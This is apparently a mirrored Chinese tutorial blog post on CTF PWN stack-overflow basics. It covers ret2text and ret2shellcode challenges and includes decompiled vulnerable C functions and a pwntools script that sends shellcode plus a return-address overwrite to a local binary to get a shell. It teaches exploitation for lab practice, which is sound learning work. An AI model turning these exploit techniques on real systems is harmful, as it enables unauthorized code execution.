码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • PWN入门(2)栈溢出基础


    1 C语言函数调用栈

    在这里插入图片描述
    在这里插入图片描述32位下的函数栈结构。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    在这里插入图片描述
    在这里插入图片描述
    运行过程。
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述

    2 ret2text

    在这里插入图片描述
    缓冲区溢出(Buffer overflow)
    本质是向定长的缓冲区中写入了超长的数据,造成超出的数据覆写了合法内存区域

    • 栈溢出(Stack overflow)
      最常见、漏洞比例最高、危害最大的二进制漏洞
      在 CTF PWN 中往往是漏洞利用的基础
    • 堆溢出(Heap overflow)
      堆管理器复杂,利用花样繁多
      CTF PWN 中的常见题型
    • Data段溢出
      攻击效果依赖于 Data段 上存放了何种控制数据
      在这里插入图片描述
      篡改栈帧上的返回地址为程序中已有的后门函数。
      在这里插入图片描述
      在这里插入图片描述
      在这里插入图片描述

    首先,我们手中有这样的一个文件ret2text.
    在这里插入图片描述
    在这里插入图片描述
    丢入IDA中,得到代码,其中有用的有三个函数。

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      setbuf(stdin, 0);
      setbuf(stdout, 0);
      puts("Have you heard of buffer overflow?");
      vulnerable();
      puts("It seems that you know nothing about it ......");
      return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    int vulnerable()
    {
      char buffer[8]; // [esp+8h] [ebp-10h] BYREF
    
      gets(buffer);
      return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    int get_shell()
    {
      system("/bin/sh");
      return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5

    我们打开gdb,进行调试。
    在这里插入图片描述
    输入n跳过直到到达脆弱函数。
    在这里插入图片描述
    输入s进入函数。
    在这里插入图片描述
    查看栈。
    在这里插入图片描述
    明确需要输入的payload。
    在这里插入图片描述
    使用Python进行攻击,最后得到shell。
    在这里插入图片描述
    也可以编写脚本,逻辑是一样的。

    3 ret2shellcode

    在这里插入图片描述
    在这里插入图片描述
    pwntools生成shellcode。32位。

    asm(shellcraft.sh())
    
    • 1

    64位

    context.arch = "amd64"
    shellcraft.amd64.sh()
    
    • 1
    • 2

    我们将ret2shellcode放入IDA中。

    int __cdecl main(int argc, const char **argv, const char **envp)
    {
      char s[100]; // [esp+1Ch] [ebp-64h] BYREF
    
      setvbuf(stdout, 0, 2, 0);
      setvbuf(stdin, 0, 1, 0);
      puts("No system for you this time !!!");
      gets(s);
      strncpy(buf2, s, 0x64u);
      printf("bye bye ~");
      return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12

    假设在服务端开起了aslr保护。
    启用gdb动态调试。
    在这里插入图片描述
    在这里插入图片描述
    动态调试结果和ida中结果有差别,我们以动态调试结果为准。
    编写脚本:

    from pwn import *
    
    sh = process("./ret2shellcode")
    shellcode = asm(shellcraft.sh())
    buf2_addr = 0x804a080
    
    sh.sendline(shellcode.ljust(112,b'A') + p32(buf2_addr))
    sh.interactive() 
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    在这里插入图片描述
    攻击成功。

  • 相关阅读:
    微服务保护--Sentinel
    基于python的学生成绩管理系统毕业设计源码071143
    Linux系统编程_进程间通信第2天: 共享内存(全双工)、信号(类似半双工)、信号量
    启动命令,项目文件介绍,简单配置项介绍,url处理和视图函数
    时代潮流-云原生数据库的崛起
    【算法】链表经典OJ
    ant-design的Select组件采用自定义后缀图标(suffixIcon属性)时,点击该自定义图标没有反应,不会展示下拉菜单的问题
    git 如何删除某个提交之后的所有提交内容
    mysql查询排名
    牛客刷题总结——Python入门:输入输出、字符串、类型转换
  • 原文地址:https://blog.csdn.net/weixin_61823031/article/details/125519758
  • 最新文章
  • 【JVM】编译执行与解释执行的区别是什么?JVM 使用哪种方式?
    用 Hashids 优雅解决 C 端自增 ID 暴露问题
    V8引擎 精品漫游指南--Ignition篇(上) 指令 栈帧 槽位 调用约定 内存布局 基础内容
    LLVM Pass快速入门(四):代码插桩
    milkup:桌面端 markdown AI续写和即时渲染
    基于项目工程构建SBOM(软件物料清单)的研究
    鸿蒙应用开发UI基础第二节:鸿蒙应用程序框架核心解析与实操
    .NET 中如何快速实现 List 集合去重?
    扣子Coze实战:从0到1打造抖音+小红书热点监控智能体
    浅谈数据访问层
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
小工具 小游戏
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1

京公网安备 11010502049817号